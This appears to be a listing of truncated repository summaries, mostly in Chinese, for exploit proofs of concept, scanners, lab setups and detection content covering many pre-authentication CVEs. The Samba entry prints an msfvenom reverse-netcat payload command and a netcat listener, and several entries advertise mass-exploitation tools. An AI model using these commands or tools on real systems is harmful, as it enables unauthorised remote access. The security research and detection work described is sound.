threat-intel-brief-cve-2026-42208-litellm

威胁情报简报 - CVE-2026-42208：BerriAI LiteLLM SQL 注入 CVE： CVE-2026-42208 GHSA： GHSA-r75f-5x8p-qvmc CVSS 评分： 9.3（严重） 受影响软件： BerriAI LiteLLM 版本 = 1.81.16， 1.83.7 修复版本： 1.83.7-stable（于 2026 年 4 月 19 日发布） CISA KEV 收录日期： 2026 年 5 月 8 日 信息来源： CISA KEV、Sysdig TRT、The Hacker News、Security Affairs 执行摘要 BerriAI ...

CVE-2026-22557-PoC

CVE-2026-22557 -- UniFi Network Application 预认证路径遍历 UniFi Network Application 访客门户（/guest/s/site/login）中存在预认证路径遍历漏洞。pageerror 查询参数未经校验即被传递给资源加载器，允许未认证的攻击者读取 Web 应用中的文件（例如 WEB-INF/web.xml）。 如果访客门户页面已被自定义，资源加载器似乎会回退到原始的 FileInputStream 分支，该分支可以访问上下文根目录之外底层系统上的任意文件。我尚未确认这一点，如果有时间将进一步调查。 用法 pip insta...

CVE-2026-24061-telnet2root

CVE-2026-24061 漏洞扫描器与利用工具 👨‍💻 作者： Furkan KAYAPINAR @FurkanKAYAPINAR 概述 本仓库包含一个针对 CVE-2026-24061 的漏洞扫描器和一个交互式利用工具。该漏洞影响 inetutils-telnetd（以及其他潜在的 Telnet 实现），原因是其对 NEW-ENVIRON Telnet 选项的处理不当，允许通过 -f root 载荷实现远程预认证访问。 功能特性 scanner.py ：一个多线程、高效的扫描器，支持单个目标、CIDR 子网和 IP 列表。包含可选的 --exploit 标志，用于验证 RCE。...

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell Rails Active Storage/libvips 任意文件读取 → SECRETKEYBASE 窃取 → RCE 概述 CVE-2026-66066 是一个严重级别（CVSS 9.5）的预认证 任意文件读取到远程代码执行链，存在于 Ruby on Rails Active Storage 中，影响默认配置下的 Rails 7.2.0–7.2.3.1 、8.0.0–8.0.5 和 8.1.0–8.1.3 。 该漏洞利用了跨越 Rails、libvips、libmatio 和 HDF5 的四层解析器混淆...

Fortinet-FortiWeb-Fabric-Connector-CVE-2025-25257-Detection

CVE-2025-25257 检测工程仓库 概述 本仓库提供针对 CVE-2025-25257 的生产就绪检测工程内容，这是 Fortinet FortiWeb Fabric Connector 7.0 至 7.6.x 版本中的一个预认证 SQL 注入漏洞。成功利用可在无需任何预先认证的情况下导致远程代码执行（RCE）。 本内容仅供防御用途 。其范围针对安全运营中心（SOC）团队、检测工程师和威胁猎人。不包含任何武器化的漏洞利用代码。 漏洞摘要 字段| 详情 ---|--- CVE| CVE-2025-25257 EDB-ID| 52473 产品| Fortinet FortiWeb...

React2Shell-PoC-CVE-2025-55182

React2Shell（CVE-2025-55182）利用模拟 注意： 本文档仅供学习与安全研究之用。 未经授权，请勿用于攻击任何系统。 1. 概述 CVE-2025-55182，又称 React2Shell，是一种严重的远程代码执行（RCE）漏洞，影响 React 服务端组件（RSC）。它使用 Flight 协议在客户端和服务器之间通信。当客户端请求数据时，服务器接收 payload 并解析该 payload，这可能允许攻击者插入恶意结构或任意代码，而这些被 React 视为有效。 项目| 内容 ---|--- 危险等级| 严重（CVSS 10.0） 类型|...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz 是一个开源企业资源规划系统。它提供了一套企业应用程序，可集成并自动化企业中的许多业务流程。 CVE-2024-38856 是 Apache OFBiz 中的一个预认证漏洞，可能导致远程代码执行。 受影响版本 ：18.12.15 之前的版本 用法示例 ：python3 scanner.py https://localhost:8443/ python3 exploit.py https://localhost:8443/ 免责声明...

CVE-2026-60004

CVE-2026-60004 — Gitea Diffpatch Git Hook 远程代码执行（RCE） 裸克隆钩子注入 → post-index-change → 任意命令执行 概述 CVE-2026-60004 是 Gitea 和 Forgejo 自托管 Git 平台中的一个严重级别（CVSS 9.8）预认证 远程代码执行漏洞，影响 1.17 至 1.27.0 版本。 该漏洞利用了 POST /api/v1/repos/owner/repo/diffpatch API 端点中的裸克隆设计缺陷。Gitea 在裸临时克隆 中应用用户提供的补丁——此时仓库根目录就是 $GITDIR...

CVE-2026-63030

WP2Shell — CVE-2026-63030 + CVE-2026-60137 WordPress Core 预认证 RCE（批量利用 / 检测器） 📋 漏洞概述 属性| 详情 ---|--- CVE ID| CVE-2026-63030（+ CVE-2026-60137） 利用链| wp2shell — 预认证 RCE 严重性| 🔴 严重 （CVSS 9.8） 目标| WordPress Core（无插件） 受影响（RCE）| 6.9.0 – 6.9.4 和 7.0.0 – 7.0.1 受影响（仅 SQLi）| 6.8.0 – 6.8.5 已修复| 6.8.6 / 6.9.5 /...

smb-usermap

Samba "username map script" 命令执行 该模块利用了 Samba 3.0.20 至 3.0.25rc3 版本中，在使用非默认的 "username map script" 配置选项时存在的命令执行漏洞。通过指定包含 shell 元字符的用户名，攻击者可以执行任意命令。由于该选项用于在认证之前映射用户名，因此利用此漏洞无需认证！ 1. 创建 Shellcode msfvenom -p cmd/unix/reversenetcat LHOST=10.10.14.56 LPORT=5555 -f python 2. Netcat 监听器 nc -nlvp 5555 3...

CVE-2026-42208

✦ CVE-2026-42208 - LiteLLM 中的严重 SQL 注入漏洞 🧭 概述 CVE-2026-42208 是一个影响 LiteLLM AI 网关的严重的预认证 SQL 注入漏洞 。 它允许攻击者在无需认证 的情况下利用后端数据库查询，可能暴露敏感的 AI 基础设施数据。 📦 受影响软件 LiteLLM 受影响版本：1.81.16 → 1.83.6 🧨 漏洞类型 SQL 注入（预认证） 无需登录 🚫 可通过 HTTP 请求操作进行利用 直接针对后端数据库层 📊 严重等级 🔴 严重 CVSS 评分：9.3 – 9.9 如果暴露，极有可能导致整个系统被攻陷 💥 潜在影响...

Atlassian_CVE-2022-26134

Confluence 预认证远程代码执行漏洞（CVE-2022-26134）——基于 OGNL 注入 2022 年 5 月 30 日，一个名为 Volexity 的组织在 Atlassian 的 Confluence Server 和 Data Center 版本中发现了未认证的远程代码执行漏洞（NIST 评分 9.8）（https://www.atlassian.com/software/confluence）。 Confluence 是一个面向团队的协作式文档和项目管理框架。它通过为成员提供集中式工作空间，帮助追踪项目状态。 以下 Confluence 版本受此 CVE 影响：...

CVE-2019-0708

CVE-2019-0708 崩溃部分 BSOD 已被有意移除！ 远程桌面服务（Remote Desktop Services，前身为终端服务）中存在一个远程代码执行漏洞，当未经身份验证的攻击者使用 RDP 连接到目标系统并发送特制请求时，可能触发该漏洞。此漏洞发生在认证之前，无需用户交互。成功利用此漏洞的攻击者可在目标系统上执行任意代码，进而安装程序；查看、更改或删除数据；或创建具有完全用户权限的新账户。 要利用此漏洞，攻击者需要通过 RDP 向目标系统的远程桌面服务发送特制请求。该更新通过修正远程桌面服务处理连接请求的方式来解决此漏洞。 参考资料：...

CVE-2023-25136-PoC

CVE-2023-25136 漏洞复现 本项目提供一个最小化的本地实验环境，用于复现 OpenSSH 9.1p1 预认证 double free 内存破坏漏洞（CVE-2023-25136） ，并观察到服务端进程崩溃（DoS）效果。 说明：官方与主流分析均认为该漏洞在默认安全配置下“难以实际利用为远程代码执行”，本环境主要用于演示内存错误与拒绝服务效果。 环境说明 靶机（Target） ： 运行在 Docker 容器中的 OpenSSH 9.1p1 服务器 已配置特权分离用户 sshd 为了便于观察 double free 崩溃，构建时使用 --with-sandbox=no 关闭了...

CVE-2023-25136

CVE-2023-25136 OpenSSH 9.1漏洞大规模扫描和利用 脆弱性的详细信息 OpenSSH是一种实现SSH协议的软件，通常用于以安全的方式连接到Linux（或Windows）机器以执行远程管理。 OpenSSH 9.1中引入的CVE-2023-25136安全漏洞影响SSH预身份验证过程。通过利用它，攻击者可以破坏内存并在机器上执行任意代码，而无需对目标服务器进行身份验证。 ＃使用 运行脚本选择“IP地址列表扫描”或“直接利用易受攻击的IP” ＃requirements •Paramiko：要安装，只需键入 pip install paramiko...

poc_cve-2026-42208

CVE-2026-42208 — LiteLLM 预认证 SQL 注入 一个用于复现和检测 CVE-2026-42208 的实验室环境，这是 LiteLLM 中的一个严重预认证 SQL 注入漏洞，未经过滤的 Bearer 令牌会直达原始 PostgreSQL 查询。 漏洞概述 字段| 详情 ---|--- CVE ID| CVE-2026-42208 GHSA| GHSA-r75f-5x8p-qvmc CVSS| 9.3（严重）— AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 受影响版本| = 1.81.16, ← payload does NOT start...

freerdp: FreeRDP 3.0.0 through 3.30.0 Protocol Negotiation Bypass

A flaw was found in FreeRDP server. This vulnerability allows unauthenticated attackers to bypass server policies that disable Remote Desktop Services over Transport Layer Security RDSTLS connections. By sending incompatible protocol requests and then completing a TLS handshake, attackers can...

CVE-2025-14857-MongoBleed

CVE-2025-14847 MongoBleed - 功能型 PoC MongoDB 内存泄露利用 - 模拟 R6 攻击 CVE-2025-14847 MongoBleed 的完整概念验证 已测试：✅ MongoDB 7.0.5 | 14.300+ 次成功利用 | 4 个 UUID 泄露 🎯 关于本项目 本仓库包含一个功能完整的概念验证（PoC） ，针对漏洞 CVE-2025-14847 ，也称为 MongoBleed ——MongoDB 中一个严重的预认证堆内存泄露缺陷。 背景：彩虹六号：围攻 事件 在 2025 年 12 月 ，游戏《彩虹六号：围攻》遭受了一次大规模攻击，约...

CVE-2021-26084

CVE-2021-26084 Atlassian Confluence 预认证远程代码执行漏洞...

CVE-2023-36845

CVE-2023-36845 用法？ bash cve.sh yourfile.txt Referensi: https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution?language=enUS...